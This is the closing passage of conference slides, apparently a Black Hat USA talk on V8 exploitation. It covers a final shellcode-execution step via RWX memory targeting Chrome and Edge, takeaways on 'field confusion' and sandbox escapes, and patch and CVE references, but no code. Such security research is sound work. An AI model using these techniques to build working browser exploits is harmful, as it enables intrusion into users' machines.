RWX memory to execute the shellcode directly outside the V8
sandbox
• Fit both Chrome and Chromium based MSEdge for a double tap

98 #BHUSA @BlackHatEvents
Demo

99 #BHUSA @BlackHatEvents
Summary & Takeaways
• History doesn’t repeat itself, but it rhymes
• Bugs are the same, how to (effectively and efficiently) predict
and discover the rhyming word worth more explorations
• A great exploit is an art
• The exploitation ideas and techniques are universal and can be
applied to other (similar) vulnerability exploitations
• Exploring the big gap between a working exploit and a close to
100% success rate exploit is a necessary way to be a master
• “Field confusion” inside the V8 sandbox would possibly
lead the way to a new V8 sandbox escape era
• Think about the defense for above all like an exploiter

100 #BHUSA @BlackHatEvents


Q&A

#BHUSA @BlackHatEvents
References
[1] OffensiveCon24 - Samuel Groß - The V8 Heap Sandbox
https://youtu.be/5otAw81AHQ0?si=fFzTt8W4lSNggAC4
[2] Fast For-In in V8 - Camillo Bruni https://v8.dev/blog/fast-for-in
[3] Maps (Hidden Classes) in V8 https://v8.dev/docs/hidden-classes
[4] CVE-2023-4427 - Sergei Glazunov https://bugs.chromium.org/p/project-
zero/issues/detail?id=2477
[5] Patch CVE-2023-4427:
https://chromium-review.googlesource.com/c/v8/v8/+/4771019
[6] Patch CVE-2023-3159:
https://chromium-review.googlesource.com/c/v8/v8/+/5388435/3/src/objects/map-
updater.cc#b1051
[7] Patch V8 Sandbox Escape:
• https://chromium-review.googlesource.com/c/v8/v8/+/5401857/2/src/wasm/wasm-
objects.cc#b293
• https://chromium-review.googlesource.com/c/v8/v8/+/5484107

102 #BHUSA @BlackHatEvents

You might also like